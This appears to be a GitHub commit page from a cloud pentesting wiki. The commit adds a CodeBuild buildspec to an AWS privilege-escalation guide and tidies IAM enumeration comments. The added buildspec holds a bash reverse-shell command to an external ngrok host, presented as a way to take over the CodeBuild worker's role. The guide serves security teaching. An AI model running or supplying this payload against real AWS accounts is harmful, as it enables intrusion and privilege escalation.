Skip to content

Commit bf5c546

Browse files
carlospolopgitbook-bot
authored andcommitted
GITBOOK-487: change request with no subject merged in GitBook
1 parent 792e744 commit bf5c546

File tree

2 files changed

+14
-1
lines changed

2 files changed

+14
-1
lines changed

pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -274,6 +274,19 @@ aws codebuild start-build --project-name <project-name>
274274
# Wait for the reverse shell :)
275275
```
276276

277+
You can use something like this **builspec** to get a **reverse shell**:
278+
279+
{% code title="buildspec.yml" %}
280+
```yaml
281+
version: 0.2
282+
283+
phases:
284+
build:
285+
commands:
286+
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
287+
```
288+
{% endcode %}
289+
277290
**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.
278291
279292
{% hint style="warning" %}

pentesting-cloud/aws-security/aws-services/aws-iam-enum.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,10 +71,10 @@ aws iam list-attached-group-policies --group-name <name> #Get policies of group,
7171
# List roles
7272
aws iam list-roles #Get roles
7373
aws iam get-role --role-name <role-name> #Get role
74-
7574
## inline policies
7675
aws iam list-role-policies --role-name <name> #Get inline policies of a role
7776
aws iam get-role-policy --role-name <name> --policy-name <name> #Get inline policy details
77+
## attached policies
7878
aws iam list-attached-role-policies --role-name <role-name> #Get policies of role, it doesn't get inline policies
7979

8080
# List policies

0 commit comments

Comments
 (0)